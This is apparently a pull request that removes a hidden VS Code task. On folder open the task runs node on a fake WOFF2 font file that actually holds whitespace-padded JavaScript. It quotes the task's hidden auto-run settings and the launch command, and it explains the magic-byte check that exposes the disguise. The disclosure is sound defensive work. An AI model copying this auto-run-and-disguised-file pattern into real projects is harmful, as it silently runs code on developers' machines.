security: remove an auto-executing task and the file it runs

[Ndevu12]

.vscode/tasks.json in this repository defines a task that runs automatically when the
folder is opened, and what it runs is not a font.

The mechanism

"label": "eslint-check",
"runOptions": { "runOn": "folderOpen" },
"hide": true,
"presentation": { "reveal": "never" }

The command is node ./public/fonts/fa-solid-400.woff2.

Why that file is not a font

A real WOFF2 begins with the magic bytes wOF2 (774f4632). In this repository:

file	first four bytes	size
public/fonts/fa-solid-400.woff2	20202020 (four spaces)	31303 bytes
public/fonts/fa-solid-900.woff2	774f4632	genuine
public/fonts/fa-brands-400.woff2	774f4632	genuine
public/fonts/fa-regular-400.woff2	774f4632	genuine

It is whitespace-padded JavaScript. The other font files are genuine, which is what makes the odd
one hard to spot.

What this PR does

Removes the 5 files that arrived together in 1ee3187: the five .vscode/ files and
public/fonts/. Nothing else is touched — that commit's change to other files is left alone, and no
history is rewritten.

Two things worth acting on

1. Anyone who opened this repository in VS Code or Cursor since 2026-08-22 has already run it.
   The task is marked hide with reveal: never, so nothing appears in the terminal.
2. Merging this cleans this branch only. Other branches may carry the same files and should be
   checked separately.

Note the commit date on 1ee3187 reads 2025, but it was pushed on 2026-08-22.